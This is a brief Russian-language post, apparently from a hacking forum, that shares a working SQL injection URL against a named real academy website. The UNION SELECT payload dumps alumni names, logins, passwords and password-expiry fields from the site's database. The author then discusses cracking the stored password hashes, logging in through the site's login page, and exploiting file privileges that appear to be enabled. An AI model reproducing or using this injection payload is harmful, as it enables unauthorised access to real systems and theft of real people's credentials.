Академия Наса.. )))

http://www.nasa-academy.org/db/yearbookview.php?id=-1+union+select+1,2,3,4,5,6,7,8,concat(0x3a3a,'<b>' ,middlename,0x3a3a,login,0x3a3a,password,0x3a3a,pa ssword_expire,'</b>'),10,11,12,13+from+academy.alumni+limit+31,60/*

Выборка по юзерам.

http://www.nasa-academy.org/db/login.php аутентификация

Шняга: х*** пойми как захеширован пароль. ибо некоторые побдираются, но система не логинится. МБ дабл хеш?


К тому же походу file_priv разрешены, но пути х** нарыл...